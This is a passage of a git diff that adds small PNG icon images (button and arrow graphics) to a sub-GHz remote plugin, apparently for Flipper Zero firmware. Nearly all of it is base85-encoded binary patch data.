zgWp$8Y+?i31~CzF0&E4uRlA=C(Mp~K`{74jEchB|)4DDK!ZVhSwdFyw0YIZ1cDh0S{OvfO-U_~ zvmRF*m9sWDXNH)GOyqS1Skhxbr6}s*7t&@~kFM(NW5}qh?Lu@lJ}HE;FDiLdGO>LO z5pS*%E2grR)l^;|?O5b_?u0me&c1U}%jrk8*%=Wk%i)8yp2P|kuxmKg<=(u_`oQRI_0 zS`-DNysBx=#3&qSkgA@hJP>~D+ZM(s5jI6Owp`?yE=3e`YGUqkVOp#Cp=3wR3O4hX zX6BLsN3UBzV(vI5;|SZHgOb=HD0VFjpTyfFW}GnQuh>2*Q`k>*cAmA#iUT7EXSpo# zkPm5~#I-o^cpgfe#P$=4-Pi*SpT!-@nJgp8L347xe>5EKl`=_ZFc8XGy+_j=_R_7! z@vZZMowS1GJ?Zw)eetks%~G{BTR>T}9|jt0j3Btyb*C3-`C?fwY3EY`q*oYZ39DpM z&uJ;PCZPLs4QO1Jd_|A1PF)azZJ)RZ`^-VMWr6e#XUOA%3eLG_Ch@BDOHzMk*MF0G zCo7xMd?Mg*HMIXw%nNz?%60fZiZPlqb?GqUpXO`F&Yi!okZl(n>P@r1P2i)yk3DgRwbHeNn6e|;J^SK4TM LH~i+q&mR8;k>NTA literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/ButtonUp_7x4.png b/applications/plugins/subghz_remote/images/ButtonUp_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..1be79328b40a93297a5609756328406565c437c0 GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J8d-yTOk1_O>mFaFD) zeWb+ZHz{mGZZ1QpXe09^4tcYT#4oe=UbmGC^A-KE*|F&zP#=S*tDnm{r-UX30HgpM AM*si- literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/Ok_btn_9x9.png b/applications/plugins/subghz_remote/images/Ok_btn_9x9.png new file mode 100644 index 0000000000000000000000000000000000000000..9a1539da2049f12f7b25f96b11a9c40cd8227302 GIT binary patch literal 3605 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 QX&eA7&1_6djNPvM5BL~PlmGw# literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/Pin_arrow_left_9x7.png b/applications/plugins/subghz_remote/images/Pin_arrow_left_9x7.png new file mode 100644 index 0000000000000000000000000000000000000000..fb4ded78fde8d1bf4f053ba0b353e7acf14f031a GIT binary patch literal 3603 zcmaJ@c{r3^8-HwB%91Q0na1)~mNA23GPbdd8kxp6Dlx`jFiT@FLrJ8RY}v9Vl+@6s zNVZC$u|$zjb`ly(NS40wes6u>A79_Op65B|+~@xN?)6;Pa}jgcMqEr$3;+OeTa+c1 zH;eLKVG#k|ciJkQClEuDkVuRz5(%QwsotajA^U+M~gKPM$^_A)v~%vnZuYc|TMKC)8`l@l|Rx4Xi}{8G%(Sf}HLUsd{w z9-R*5PEW7AU#S|;9$#%`wMj;7mDWfa%l89}u+hfwZj}UkRDDx*1ivh5KoBG~#(C}| z^b!DO1X#>)#y!(jzPnU_AE0&Ws7W^r{*0=`Xt)5NBwzq6J-(SQ5eqcxI5x@vjoX2H z4iCM=fD`}-V4bo61GmM2sc*I>LO^$Ma-TfVoxh`41c>7UGIraj@tZvbJeJ(-HsH;N&1GXq1rhMou9x4_Hqk@6ND0cWRYscu7!3!q!K0D$6h z`?GaJ)5P(yk-;(V@c{0(m-*}dGgPq2uG#+es>}R>fYjkOZjbxuXqN!3f$v^Wt$*<` zpvM{T?O%4&>lMvAD)uIHIhJL(YPK`?I;PQBd575M&C}|h*Q<4hV@-bQ4N?bU!xwp{ z>%E~fz{yOrjFP&7sI`-LN^mJQew-s{0i`UBtFAXhpIM9F(>|ns|G1XyrCHp?3Jln; zf%OENWVx#;bx3;R3~W{yqBx34?=Sojeqpf3C?AAhU_t|J&Q3!m4%thhM| zkn+)ov6cWJxpq0hOp_02NiQ4*fU3{ikKam>N52vQ0L#3yd+(VGZ+Rxeu9L`qrd(Ag z&yU|^X|_eJ&REJ~(@4Y)vFqE@%oQB#;N60c?g=R7ZOt5%DtiVs6dxauK7MwRCcnvJ zd+zh?Rp&(o%^O9w;djAfwtB{QgIh)9GvWooc$EH?h(gdrjLZ@6%SL)3f3byMk{e2O zPMa=c6nEV0M`CXy2zF`pQk4xf7o}b3P-xO2Mao8NOeT_>K8=Vx zh+u=#lgbk%6Ya08G`$!pmw~^G8A6NZt6>XMqz@VpO-BW9T!UF;b0g`6iR(Lt65MOfV`%KSu4eN`I5y;s059VtgX% zTgVpi^WsqrD9_yr{t96VMcd02AQ|YJLT}SE8Xa}t!;~_7u1a2|I^p&%?mZ=&^jbO< zp6Z+$o;rTp(J9c$w3Bsvv*R5n$vY>UPv5k5dWab=7JVmor?Xhu>1px4(pGE;HUZOi z#J!-#eJ%0_LHxn_XzRT5r~*eq`74FEU2?Br#95q07u{K4Qp^9Uo#(L!%TwrJp%tZI zNEq4y8F<^9?VaSEGj_6tPvX`6ff=I@*#}#9wTicfX$xqZYTxhjEAcJ~FWKJ{+Edfx zIZdCIo1X092GMfNaCO)>?EReqy zEXaT1c5&NP_Ur14>`PP#fEp5JniC11{jZWL+GoxU-rCCXtxT%-Eoiqb_^U$W>jj@- z1E#!*H=DY{ldb=W*ynGI_awo33+oGCj@0aFN%7D0u52%R%V=(H)aqk*vzw;kjXJaa zbMZAFs(M%BqHkDbzdRVbFSa4AC+!qRD9tWyiG9`C#F^#1;QXF#+jV?WYm(gM5`a;1 z$=Z?y&*D73RgzUwADl(*ml={t*we9R!GY2Pom!m|o64NpG;OqqUsPWtFSaQ+?~qpR zI>0z^ip~gX4i2DIO%@L7zbLLRelg+VqvUfvFlXLC{^p@Xj&yo(y1WCq=u#2oS|}%V zRPk$N$D_9k1zAtC`bs{K-+gRGygYqp#ZD(nsmbjHf@}V5W(hZRvUxbCD68oCeBwCd zMDPjM6D!p_?H^`q;*Zt|0h3oI{MSOSU8uQP1MWxEsD^ii zXM_u{=B^z0!C6cAUOUK|lbby(dZ<{-p6>V=-lOLCV9`ttI0}Ixbj4G-p<*w>l3@}!^scYMk(1T*#%f}Qd*hjd)@Ng z<@Vm1n#tlLtTFOyrQ{2*mqt{V1Lu2X1ESIG1!dS$jD#E-a!ZqWZ2K{01*#f#^qpS6 z_xhJ*)yYb0VJhxD?5<$C&JKWUt)9xM#yZG{=s?}Dm0nEJOvh=CFXutp8fFNG zb(-^I_07d&qdIQfKx#(1=%*H^G;t`U-;O>Z$l_DIoVb4JoyVNd?3GV-XVciXO26N; zt{59~IqcqfYJo-W>G^c9{PpxCYO-*W!d`N%y?e0Q&%E=^`5EyNrP;VqC3o_{PmJrK zehcv}Wi78;1Pt&7)5n@0vwP>R?<-gg%{k-7ab7FAQ(p5yqo=F(V@TM%M3l1Zflu6& zsj5esOc(!ZtJ4dVj<1m)6BIp_Dr?8WKUUa;*uTt82)hv`ylBOp^kYy1`tH`&J`g2i z_r>i*!D*ve5!9Zn>CBKvw4-|^o|}(8`>X%vsjy+p=j*L6`d+m3XPhZt5Sc`=G&|t6 zL2T^;avtJ(HTU!7f*j=&$~HCSKf}4uVM0)YL4r$eUe0dB?D9xt@^Fz?QEtv*Q^dQB zKGqU?HN)TSh+DM}vMtwCp79l3?!MGC|7kqIZKjI$4ZP&pt6qMn1W}5x38$?MqV67} zP7;?m(=NuPjBj?62im!B&;0PK>kNGV{k@LcHC8qE)s#{>MdRa+3iZl`@4<`H@*!eh z(S2^A3Cz2zH9c!zgnvkWIa9WNpIAp8`0i2X(e}bsk}Dy4A$L9H=i3W|9X8E2ovPNV zaS1spDoWyt)pK60$%91?ing`A4tM^^nhd-%-oG}qa;Ocr+C8&*Ikv5~lvO-W=iVv4 z3vW8Sg{H67gQFlTAcp01((sa>Oxkc4#<(O4h+| z=;$!XG#(lNj7^y|Ji(vH0C^I9NE8H^`?MAeB6%UeE(UhGb~Gf>mxKzX6CFYiI}$?u z2}WLEQxlLe6V4+b6B&3AlN>+^gfkJ~zj@)j^@bP%2K}wV@JE3E?G(-q142^iM9_X6 zs5U`YR~NM3NQdZ!hk5FG;|W?Im@W(of%2aH+R*)Qm>wKz1o~%yc?RiT-f*m?^*`o# zI|SI5!Jxq*kdTlNoe(`8D%}SHH8L`S=)xc{m^M#CJCH?T;F;Q#K-FIimc&2;okU}h zs1(o!Bi@r5#6W;~&i*?JGVM1lCGek2@p1-X;%N}5j_yWOzZC84{=X`j{98MafhGRO z-~UM*=*XfGAy{G{HHc2&)y`XW!xRmUq!aNBD&3Jv4fvHvj4zcz4fLhbKrlTWC}_7G zoAi2(CRbVwvGxS_eFk);LHdcQdm3WZuBEzI>Tjm!y{|A^ga2r`Xl*^)>n1rxoj=~Oc4@2KIVKl@_& zN4|fsUVrojYV}7fgy#%oqqhH5>t7;X18ppSH!pAVyZwn2UeD8c&3%!xU6OY(Het|? zRzJfx?uf8Cx`a1@Y%R?lnLVB!yx|qWZ*6TTz(26XS`Dfeq+1Q}Z2|=k0D!O! z$^yd~1vwAD01xLqYnje52qB3`q=O9-38K;{KEyx*05JM;97D0mE7Hb;D+Ey&^WM2f z>4E0~unJ3{Nz5%@>^gwEC?;;&5FI1rA}O^y8|7Sop<4)*6El*xzrxq-YRvIi=aUBC zl?IBQo(*Hq&aQu4ubRxB+-PTZh(_)fS4*16_Xi9y(MIrIr38CaeRFjrw-joK7bG^( z^2(R50RZNBn2ZSeLz4}z2NZxCpmuBR6K@>;6;_FM1cHhlqjI-kdA zaM!&8@>r%|E#A6Pu1L3MFl+9}YCa$&9-Am?>Ip<E0B0hBvHm{VnDVQ8846rWQ*V#Sef7%jQ7xA5oJ5~hS6#|$>ENWhp z-?%G#pBxb&2EOL*~E!i|PIj1^!FYnWbJo0(FGl#{>UP29oCx^sOo}Z@5 z?C_M$eI;9UNs!m9Nk9Up43F9E72gYP7m&$_=LO?Xy4NEMK~pi3$G{Cuv_kG;bN?iF zl*)o8P0}##r0H5>e-j9Hb>nK4H8kb?<6}G@xPwif-&K;o`X(=^lddc39+{RO&?#TG z7ZLd^zo_%**I+tu_G&ynvJ)!ebL|uE#E)YK_wPajc$8f*xKGs~;kzP?w8i z3+&^Ljg*)XICW9%Rp5ohL~AS>i@d8kqf#bbDc~v?brJgN4{-8b`!dxq@zr{U7yMBo z){3R}U3sr^uIi~jL?k?tQTs%iuaDUYDXS*JYBU1G#+wAyqcsrk#8 zz~e|3C_Sk>Q8dy1`g-&0v2saxL(B+TFn=GWFh%@`9>HXs_x4Sgc}Cv7V{OH`9|Z2j zz;7P6A?1ZQKpZa@OXvn?sW%H`}GE9WN;qs4+Br0;hZD>}a@K2+L{3B@Eh zbR6?2sPWjmu!a|Yd@0&0?-HuO319w3E>2nc4U904HSeLh@Jwq2+_3dJ@pyFx9m2P+ z5CS=ac0>l<^I`cU`Q%KTZsQVp^Jr+!@Kg4YcI9^A_A{D1nkJf$di+a#N+L@1`@;Ha z`n+aov(mHEee7Urj%kiY&JvsiUkMhhJXCqCGP<%qxZ|7gd;BzWN^t4zlE~EOPU|Jo zkAfwcZ|oj+r;@(5uE3#0xj?7^ey%kU|25zSv7&SC;_%(wEq;|r^?n7NHU)oFsC~ce zJF3T!G4^3m_IR;$zYqojjBs8=Sbt%CVZ&I>fwq)@OrOfmviJ1X)+UVsRxhi0Cf=|+ zJ0KTV^Qo$TBQE;3Wp=}n*h8_6X?7ZQ4@sACBo$pPBHs*a zNgbE}UfK2Z{Zc{Ji>!f?Poxi@TM-Rs@2}fxWhpefzecdle$1_4M^3kn<`iWWy;@A1 zgq#XF<#uYldawPHY_;4TZBkQz{fVLKmNTAkV+3KXeTv8UjWPGlu$z}_?$m$>5j83i zJrNlZ{2RIJhu2y*6MohXGZ&=i?f5*oUUH3dRiBqX|AZ%iM~OFs_cp&CUmV|y9gtnd zQs%n^h24~B$&@;o1%*|-&Va8*W~bC!fgGvh3TxV}YUsT^yW=l)2n>ovQ0}avr&^y0 z#0*&n##AT~?QsI@x2HPHA*}>G(kYbD4>$ z_LkgGBR4&_#BhV?8{+AYO~#`@<_-{9`|%>Ot)j%j#jI$1%bNVS{9}*GD~=dlpU81Z zT{if9_$+eG?~=V$@EaXLdyG0WN$&b{l|@?@i=Hp6j!&mQX&RL0bs z_m|uIsH-Onk1;1mZxxa+zg-zqSq)n3mkNwVcNUakN*zR`(U809j1#ga7!{~$)bS5G zgFai|R#kRhkPfd-eCSZ|@JVk4!)<;DTxWO- z1+NWeX%>+35Vxw?U#}J9D4tTZt||W&!G@0FgB$e{Tyyhs_9Nz3$1Ws~7I_!t=Gd7a zK4c6qSI`?70q)1#t9_9jxh697@91)mmFC4SlL_u~Rn#Bg6|a8P@}nh)QiOE`b#oZ? z-~?rwu+lQ?YE(-9VLN@ell}hOntxq)(8r%2wcKwqtJ!a66w1kJpZ8R#RxbSvS)P>% z75a`Ia1TphJlLq|+x*7ACi?AM+14XM9ck#NXPsxqYd2B0h~VYit(0HyFAsNFw_10r zSgFJ%=(Zs%%jM{Oyyc#+1w zU;F^xsM4rZ)y_oB-`OZ>??20~U{?+{Rx4%f-!R>BSnOQGHx|9KUooBx-`aqzTwGj_ zG*sQq`Ky$pTVm;s6d!shjz$2?yeVD;kPQjvOTZ9t-ptd@1S0_8*-v!B(y_K^IG#e% z!fpF#F-TMn8UTz;7*rfSfItU%5qybc1epDz77QYKBfzeDw%WE-B*Bk}3ZoGm!|a^! zVF7qUZ?K6m$cO>w5ReFT9Ed>*BnQD62=Jf0aL#<&3;~1wbfE_zz<-It+B$%c6dD1f zuLae_YinzR^bNHL-Z+?-jt>s60fK46pb#kM*4KpU!(lpbs3GX@3(N^f^Y(#bEUf+x z$5|o3esnq&4uOP*hH8cCXi;ds5U8P{Aw(Mnfx$F69-2W+G9AazBnPSdX0RXx;b}xF zok$^rwi$6=lwdjn%n|$7E=bgWXvsl;XNr?E2m?ojK((~DclF!R*7pB*C6WH|4x(cS z|JD1i#6eC>DglBa1W|%%cuwtnRJKD=;Yb<*N2k!7D3rk8iFELz&?!NF6ejDGqc}V3kp7%L?F|DW4-^2)%%~=?S>#xIgu?0G-3$B+lodZf&SbzocJ$V z49qMHEzDt1eKREV-?jXO_5K$ve`8_)6AR&pfo#|I|J3@oiPJ#a(|?+mv-qd|31m*s z(>Tq2$mG5>=V0t`Ks#Cfir79Q{ATD9&Y)ytVdli>^YR3^taiwHdh<$%MS4QPSCl`z cT;k@H1$d(Xkd?@;%58{^rJY5ox#xxd05mR2AOHXW literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/Pin_arrow_up_7x9.png b/applications/plugins/subghz_remote/images/Pin_arrow_up_7x9.png new file mode 100644 index 0000000000000000000000000000000000000000..a91a6fd5e99a72112e28865cd8a004c7d1933fff GIT binary patch literal 3603 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 